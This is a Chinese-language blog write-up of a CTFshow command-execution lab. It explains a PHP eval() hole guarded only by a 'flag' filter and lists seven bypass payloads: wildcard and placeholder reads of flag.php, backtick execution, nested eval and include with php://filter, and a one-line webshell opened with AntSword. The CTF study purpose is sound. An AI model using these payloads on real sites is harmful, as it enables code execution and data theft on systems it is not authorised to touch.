CTFshow入门命令执行29

打开环境分析题目:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这串代码它首先检查是否有 GET 请求中有 c 参数。如果有,它会将参数值 $c 赋给 $c 变量。然后,它会检查 $c 是否包含字符串 "flag",如果包含就不会执行 $c 的内容,否则会使用 eval() 函数执行 $c

isset() #是PHP中一个常用的函数,用于检查变量是否已经被设置并且非 NULL。如果给定的变量存在且其值不为 NULL,则返回 true,否则返回 false

这里用于检测GET传入的参数$c是否存在

preg_match() #是PHP中用于执行正则表达式匹配的函数,它可以在给定的字符串中查找模式匹配,如果匹配成功,返回 1,否则返回 0。该函数需要传入两个参数:正则表达式模式和要搜索的字符串。还可以传递第三个参数,将匹配结果存储到其中。

这里加上"!",用于过滤特殊字符

eval() #函数用于将字符串作为PHP代码执行。在执行时,该函数将传递的字符串作为 PHP 代码来执行。

这题的关键就是这个eval()函数。eval()函数存在一些潜在的安全风险,因为它会把字符串作为 PHP 代码执行。如果输入的字符串包含恶意代码,攻击者就可以执行任意 PHP 代码,可能会导致系统被入侵、数据泄露等严重后果。因此,在使用eval()函数时,一定要非常小心,并确保输入的字符串是可信的。为了防止代码注入攻击,通常建议避免使用eval()函数,尽量采用其他更加安全的方式来实现需要动态执行代码的功能。

if(!preg_match("/flag/i", $c)){
        eval($c);
    } 

如果变量$c中不包含字符串"flag"(不区分大小写),则执行$c中的代码。这个if语句中的作用是限制$c中不能包含"flag",以避免可能存在的安全漏洞。

因为我们传入的参数能被当作php代码执行,则我们使用一些系统指令:

?c=system('ls');

这句代码意思是查看当前目录下的所有文件,因为c会被当做php代码执行,更据php语法,语句结束时要加上";"。

看到目录下存在flag.php和index.php。而我们需要的flag就在flag.php下,但是由于我们的flag被系统过滤,则想到使用一些绕过方式来躲过系统的检测

法一  通配符 ' * '

?c=system('tac fla*');

 

不知道通配符' * '的小伙伴可自行搜查, 这里不过多解释

法二 占位符' ? '

?c=system('tac fla?.php');
?c=system('tac fla?.???');
?c=system('tac fla?????');

不知道占位符的小伙伴请自行搜查 

法三 复制'cp'

?c=system('cp fla* 1.txt');

将flag.php中的内容复制到1.txt中,直接在URL中输入访问1.txt即可

法四 内敛执行 (反字节符)

?c=echo `tac fla*`;

在 PHP 中,(反引号)是一个用于执行 shell 命令并返回其输出结果的语法糖。因此,当你在URL 中使用 echo `tac fla*` 时,PHP 将执行 shell 命令 tac fla* 并返回其输出结果。,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。

法五  利用参数输入+eval

?c=eval($_GET[1]);&1=system('tac flag.php');

由于系统只会检测$c中的内容,则我们通过eval()函数构造参数1巧妙绕过

 法六 利用参数输入+include

?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php

使用include将1包含进来,1再使用php伪协议使用PHP内部设置的过滤器,将flag.php文件读取并以base64编码的格式返回

 将这串编码使用base64解码得到:

法七 一句话木马

?c=eval($_POST[1]);

 输入c后,使用中国蚁剑,添加该URL

添加后双击打开,管理文件

 再双击打开flag.php

得到flag

自此这题圆满解决。

总结

在碰到这样的命令执行问题时,要多多寻找方法,才能充实自己。前5种方法均涉及linux操作方法,在大家学习命令执行之前应多学学linux操作系统代码,这是学习web的基础。本篇文章是小编结合了许多大佬的解题思路后总结的,希望对大家学习web有所帮助。以上文章有不足之处,请大家留言指出,一起进步。

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Saber12_3_4

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值